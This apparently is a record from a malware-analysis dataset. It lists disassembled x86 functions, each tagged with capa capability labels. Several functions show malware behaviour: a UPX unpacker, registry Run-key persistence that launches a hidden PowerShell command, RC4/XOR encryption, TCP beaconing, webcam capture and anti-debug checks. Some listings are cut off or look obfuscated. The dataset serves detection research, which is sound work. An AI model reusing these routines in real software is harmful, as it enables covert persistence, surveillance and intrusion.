joyce8/EMBER2024-capa huggingface dataset:
Function at 0x477d90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x47000]
lea eax, [edi + 0x63d00]
push dword [eax]
mov dword [eax], 0x4a093af8
push eax
push edi
jmp 0x477dba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x477dc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x477db0
mov eax, 1
add ebx, ebx
jne 0x477dd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x477de4
jne 0x477e03
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x477e03
dec eax
add ebx, ebx
jne 0x477df0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x477dc8
add ebx, ebx
jne 0x477dff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x477e55
xor ecx, ecx
sub eax, 3
jb 0x477e1b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x477e8a
sar eax, 1
mov ebp, eax
jmp 0x477e26
add ebx, ebx
jne 0x477e26
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x477df4
inc ecx
add ebx, ebx
jne 0x477e34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x477df4
add ebx, ebx
jne 0x477e41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x477e36
jne 0x477e52
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x477e36
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x477e74
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x477e66
jmp 0x477db6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x477e74
add edi, ecx
jmp 0x477db6
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x2841
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x477e96
cmp byte [edi], 0x22
jne 0x477e96
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x477e9b
lea edi, [esi + 0x74000]
mov eax, dword [edi]
or eax, eax
je 0x477f13
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7b620]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x7b728]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x477ec8
mov ecx, edi
jns 0x477ef7
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7b730]
or eax, eax
je 0x477f0d
mov dword [ebx], eax
add ebx, 4
jmp 0x477ee5
call dword [esi + 0x7b72c]
mov ebp, dword [esi + 0x7b734]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x477f47
sub esp, 0xffffff80
jmp 0x42c339
Function at 0x401000
Capabilities:
Create thread

Disassembly:
push 1
push 0
push 0
push 1
push str.socks5
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00401031
push 0
push 0
push 0
push 0x401b79
push 0
push 0
call sub.kernel32.dll_CreateThread
ret

Function at 0x401031
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf8
push ecx
push edx
push ebx
push edi
push esi
cmp dword [ebp + 0x20], 1
jne 0x4010bc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegCreateKeyExA
push 0x100
lea eax, [ebp - 0x408]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
lea eax, [ebp - 0x408]
push eax
push str.powershell.exe__windowstyle_hidden__Command____s_
lea eax, [ebp - 0x308]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
lea eax, [ebp - 0x308]
push eax
call fcn.00401b5e
lea ecx, [ebp - 0x308]
lea eax, [eax + 1]
push eax
push ecx
push dword [ebp + 0x14]
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
jmp 0x4010dd
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegDeleteValueA
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
mov eax, 1
pop esi
pop edi
pop ebx
pop edx
pop ecx
leave
ret 0x1c
Function at 0x40188f
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
push eax
push ebx
push ecx
push edx
push edi
push esi
push 0x400
lea eax, [ebp - 0x400]
push eax
call fcn.00401b47
push 4
lea eax, [ebp - 0x404]
push eax
call fcn.00401b47
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp + 0x14]
xor ebx, ebx
jmp 0x4018d9
mov al, byte [ebx + edi]
xor byte [esi], al
inc esi
inc ebx
dec ecx
cmp ebx, dword [ebp + 0xc]
jne 0x4018d9
xor ebx, ebx
cmp ecx, 0
jg 0x4018ca
cmp dword [ebp - 0x404], 1
je 0x4019a3
mov eax, 0xfffefdfc
mov ecx, 0x40
mov dword [ebp + ecx*4 - 0x404], eax
sub eax, 0x4040404
dec ecx
jne 0x4018f5
xor eax, eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
jmp 0x401915
inc bl
dec esi
je 0x401909
mov dl, byte ss:[ecx + ebp - 0x400]
add al, byte [ebx + edi]
add al, dl
mov dh, byte ss:[eax + ebp - 0x400]
mov byte ss:[ecx + ebp - 0x400], dh
mov byte ss:[eax + ebp - 0x400], dl
inc cl
jne 0x401910
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
test edi, edi
je 0x401994
xor eax, eax
xor edx, edx
xor ecx, ecx
xor ebx, ebx
inc bl
mov dl, byte ss:[ebx + ebp - 0x400]
add al, dl
mov cl, byte ss:[eax + ebp - 0x400]
mov byte ss:[ebx + ebp - 0x400], cl
mov byte ss:[eax + ebp - 0x400], dl
add cl, dl
mov cl, byte ss:[ecx + ebp - 0x400]
xor byte [esi], cl
inc esi
dec edi
jne 0x401950
xor eax, eax
lea edi, [ebp - 0x400]
mov ecx, 0x40
cld
rep stosd dword es:[edi], eax
mov dword [ebp - 0x404], 1
jmp 0x4018bd
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0x10

Function at 0x4019ad
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push edi
push esi
mov dword [ebp - 4], 0xa
cmp dword [ebp + 0x14], 0
je 0x4019cd
push 0xffffffffffffffff
push dword [ebp + 0x14]
call sub.kernel32.dll_WaitForSingleObject
mov esi, dword [ebp + 0xc]
jmp 0x401a16
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call fcn.00401b0d
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x401a1c
push 0
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x401a1c
sub dword [ebp + 0x10], eax
add esi, eax
dec dword [ebp - 4]
je 0x401a1c
cmp dword [ebp + 0x10], 0
jne 0x4019d2
cmp dword [ebp + 0x14], 0
je 0x401a2a
push dword [ebp + 0x14]
call sub.kernel32.dll_SetEvent
mov eax, dword [ebp + 0x10]
pop esi
pop edi
pop ebx
leave
ret 0x10
Function at 0x401a34
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd4
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.00401b47
push 0x20
lea eax, [ebp - 0x20]
push eax
call fcn.00401b47
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp + 8]
call sub.ws2_32.dll_getaddrinfo
or eax, eax
jne 0x401ab3
mov esi, dword [ebp - 0x24]
jmp 0x401aaf
cmp dword [ebp + 0xc], 2
jne 0x401aac
cmp dword [esi + 4], 2
jne 0x401aac
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x42c], eax
push dword [ebp - 0x24]
call sub.ws2_32.dll_freeaddrinfo
jmp 0x401ab3
mov esi, dword [esi + 0x1c]
or esi, esi
jne 0x401a8a
mov eax, dword [ebp - 0x42c]
pop esi
pop edi
pop ebx
leave
ret 8

Function at 0x401c2e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.00401b47
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
push 4
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.00401ac0
mov dword [ebp - 0x2c], 1
push 4
lea eax, [ebp - 0x2c]
push eax
push 1
push 6
push dword [ebp - 4]
call sub.wsock32.dll_setsockopt
lea eax, section..data
lea ecx, [0x403075]
sub ecx, eax
push ecx
push 0x403075
push section..data
call fcn.00401d84
push dword [ebp + 0xc]
call fcn.00401bee
or eax, eax
je 0x401cab
mov eax, dword [ebp + 0xc]
jmp 0x401cbb
push 2
push dword [ebp + 0xc]
call fcn.00401a34
push eax
call sub.wsock32.dll_inet_ntoa
push eax
call sub.wsock32.dll_inet_addr
test eax, eax
je 0x401d5c
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
cmp eax, 0x10000
jbe 0x401cdc
push eax
call fcn.00401ad8
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x26], ax
mov word [ebp - 0x28], 2
mov dword [ebp - 0x2c], 1
lea eax, [ebp - 0x2c]
push eax
push 0x8004667e
push dword [ebp - 4]
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.wsock32.dll_connect
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
call fcn.00401b0d
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x401d5c
mov dword [ebp - 0x2c], 0
lea eax, [ebp - 0x2c]
push eax
push 0x8004667e
push dword [ebp - 4]
call sub.wsock32.dll_ioctlsocket
mov dword [ebp - 0x30], 1
lea eax, section..data
lea ecx, [0x403075]
sub ecx, eax
push ecx
push 0x403075
push section..data
call fcn.00401d84
mov eax, dword [ebp - 0x30]
pop esi
pop edi
pop ebx
leave
ret 0x10
Function at 0x4ad500
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x554275
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x9c4d28
mov dword [esp + 0x18], 0
lea ecx, [esi + 0xc8]
mov dword [esp + 0xc], ecx
mov dword [ecx], 0x9c4224
mov byte [esp + 0x18], 4
call fcn.0054e0bd
lea ecx, [esi + 0xb0]
mov byte [esp + 0x18], 2
mov dword [ecx], 0x9c3fc8
call fcn.0049b600
lea ecx, [esi + 0x9c]
mov dword [esp + 0xc], ecx
mov dword [ecx], 0x9c4224
mov byte [esp + 0x18], 5
call fcn.0054e0bd
lea edi, [esi + 0x44]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x44]
mov byte [esp + 0x18], 7
mov dword [ecx], 0x9c3fc8
call fcn.0049b600
lea ecx, [edi + 0x30]
mov byte [esp + 0x18], 6
call fcn.00546589
lea ecx, [edi + 0x18]
mov byte [esp + 0x18], 0
mov dword [ecx], 0x9c3fc8
call fcn.0049b600
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.0054f4b9
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x4beee0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xac5520]
xor edx, edx
cmp eax, edx
jne 0x4bef06
xor eax, eax
mov byte [eax + 0xac5420], al
inc eax
cmp eax, 0x100
jl 0x4beeee
mov dword [0xac5520], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xac5420
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4bef97
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4bef6a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4bef38
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4bf010
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4bf063
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4bf04a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d45b0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5565f8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x4d45e9
inc eax
mov dword [esi + 0x10], eax
jmp 0x4d46fc
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x4d45fd
mov eax, 0xffffffc7
jmp 0x4d46fe
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x4d460e
cmp dword [esi + 8], eax
jne 0x4d45fd
cmp dword [esi + 8], eax
jne 0x4d4627
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x4d4627
mov eax, 0xffffffc7
jmp 0x4d46fe
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x4d463b
push eax
mov ecx, ebx
call fcn.004d3de0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.0049b400
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x4d466c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.0049b420
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.004d3550
test eax, eax
mov dword [esp + 0x38], eax
je 0x4d469f
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x9c5e80
call fcn.0049b600
mov eax, dword [esp + 0x38]
jmp 0x4d46fe
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.004d4410
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x4d46e3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.004d4430
mov esi, eax
test esi, esi
jne 0x4d4713
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.004d4410
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x4d46b5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x9c5e80
call fcn.0049b600
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x9c5e80
call fcn.0049b600
mov eax, esi
jmp 0x4d46fe
Function at 0x4e70d0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4e7103
push esi
call fcn.004f5340
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4e70fc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4e7189
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4e7172
mov eax, dword [esi + 8]
test eax, eax
je 0x4e7127
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4e716e
cmp eax, 2
je 0x4e7172
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4e711a
cmp eax, 3
je 0x4e714d
cmp eax, 1
jne 0x4e711a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4e711a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4e711a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004e71b0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4e7198
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004e71b0
add esp, 4
pop esi
ret

Function at 0x502045
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x5020e3
test eax, eax
jbe 0x5020e3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x5020e3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x50208e
xor esi, esi
jmp 0x502094
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x5020bf
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0049b880
add esi, eax
push esi
mov ebx, esi
call fcn.0049b880
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x5020a0
pop ebp
test edi, edi
pop edi
jne 0x5020e3
test ebx, ebx
je 0x5020e3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.00524800
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x50a120
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x50a158
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x50add0
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x50ae19
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x5121f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x5579b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov eax, dword [esp + 0x40]
push ebx
push esi
lea ecx, [esp + 8]
push eax
push ecx
mov ecx, dword [esp + 0x4c]
call fcn.005125e0
mov esi, eax
lea edx, [esp + 0x48]
xor ebx, ebx
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], ebx
mov dword [esp + 0x4c], 0xaf84ac
call fcn.00526158
mov ecx, dword [0x9c9594]
mov al, byte [esi]
push ecx
push ebx
push esi
lea ecx, [esp + 0x30]
mov byte [esp + 0x48], 1
mov byte [esp + 0x30], al
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
call fcn.0050f970
mov esi, 0x9c95ec
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0xc]
mov byte [esp + 0x3c], 3
cmp eax, ebx
je 0x512297
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x51228e
cmp al, 0xff
je 0x51228e
dec al
mov byte [ecx], al
jmp 0x512297
push ecx
call fcn.00546bf9
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
call fcn.005427d0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x3c], 0xffffffff
cmp eax, ebx
mov dword [esp + 0x18], esi
je 0x5122dd
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x5122d4
cmp al, 0xff
je 0x5122d4
dec al
mov byte [ecx], al
jmp 0x5122dd
push ecx
call fcn.00546bf9
add esp, 4
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.005261df
mov ecx, dword [esp + 0x34]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret
Function at 0x53ce30
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x558ae0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
call fcn.00531eae
mov eax, dword [0xa94228]
lea ecx, [esp + 0x10]
push eax
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.00531de0
lea edx, [esp + 0x20]
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x44], 1
inc esp
and al, 0x44
add eax, ebp
inc edi
or al, byte [eax]
add byte [ebx + 0x4488b30], cl
Function at 0x62097a
Capabilities:
Encrypt data using speck

Disassembly:
push ebp
shl ecx, 0x45
rcl ah, cl
ror ax, cl
mov ebp, esp
cwd
lea esp, [esp - 0x50]
add edx, 0x56f3679f
add ax, di
push ebx
xor eax, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x38]
mov eax, dword [edi + 0x10]
rcl bh, cl
mov edx, dword [edi + 0x3c]
mov dword [ebp - 0x20], eax
ror ebx, cl
rcl bx, 0x21
mov eax, dword [edi + 0x40]
add esi, 0x4bab0d9e
xchg bx, si
mov ebx, dword [edi + 0x34]
sub esi, 0x7ece02f1
mov dword [ebp - 0x18], ecx
add ch, 0x5b
mov ecx, dword [edi + 0x44]
bts esi, edx
inc si
btc esi, ecx
mov esi, dword [edi + 0x20]
mov dword [ebp - 0x30], eax
movsx eax, di
mov dword [ebp - 0x38], ecx
shl ch, 0x61
mov ecx, dword [edi + 8]
shrd ax, bx, 0x10
mov dword [ebp - 0x2c], edx
test cx, 0x4014
mov edx, 1
shl edx, cl
test cl, bl
cmp ebp, 0x66a170f1
mov ecx, dword [edi + 4]
movzx eax, bp
and al, ah
mov eax, 1
shl eax, cl
cmovge cx, ax
seta ch
not cx
mov ecx, dword [edi + 0x14]
dec edx
mov dword [ebp - 0x34], ecx
movzx cx, cl
mov cx, di
movsx ecx, sp
mov ecx, dword [edi + 0x24]
dec eax
test cx, bp
mov dword [ebp - 0x48], eax
cmova ax, ax
bts eax, edi
mov eax, dword [edi]
cmc
test ax, 0x56a
mov dword [ebp - 0x40], eax
mov eax, dword [edi + 0x28]
cmc
mov dword [ebp - 0x24], eax
mov eax, dword [edi + 0x2c]
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 0x18]
clc
cmc
cmp esi, 0xfdd7029
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + 0x30]
mov dword [ebp - 4], eax
cmova ax, bx
btr eax, edi
mov eax, dword [edi + 0x1c]
mov dword [ebp - 0x14], ebx
stc
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x28], 0
Function at 0x6eff82
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
movzx ebp, cx
mov ebp, esp
cmp ebp, 0x6521566e
test edi, 0x4b151d4
sub esp, 8
cmp esi, esi
push ebx
bts bx, ax
mov ebx, esi
mov ebx, dword [esi + 0x48]
stc
test ebx, ebx
je 0x6f0063
cmp ebx, 0x112
jae 0x6f0063
mov edx, dword [esi + 0x38]
adc eax, 0x22775b17
sbb eax, 0x54a76ca4
and eax, 0x5725056a
mov ecx, dword [esi + 0x28]
mov eax, dword [esi + 0x24]
mov dword [ebp - 4], edx
mov edx, dword [ebp + 8]
cmp bp, sp
mov dword [ebp - 8], ecx
mov ecx, ebx
sub edx, eax
push edi
mov edi, dword [esi + 0x14]
cmp edx, ecx
jae 0x6efff1
mov ecx, edx
cmp cx, sp
cmp dword [esi + 0x30], 0
jne 0x6f001d
mov edx, dword [esi + 0xc]
cmc
stc
test bl, 3
sub edx, dword [esi + 0x2c]
cmp dl, 0x11
test esp, 0xfb44faa
cmp edx, ecx
ja 0x6f001d
mov edx, dword [esi + 0xc]
mov dword [esi + 0x30], edx
add dword [esi + 0x2c], ecx
stc
sub ebx, ecx
mov dword [esi + 0x48], ebx
cmp cx, dx
test ecx, ecx
je 0x6f005d
dec ecx
cmp bx, sp
cmc
clc
cmp eax, dword [ebp - 4]
sbb edx, edx
and edx, dword [ebp - 8]
cmc
cmp cl, al
test dl, 0xde
sub edx, dword [ebp - 4]
clc
add edx, eax
mov dl, byte [edx + edi]
mov byte [eax + edi], dl
inc eax
cmp bh, 0xcc
test ecx, ecx
jne 0x6f0031
mov dword [esi + 0x24], eax
pop edi
not bh
pop ebx
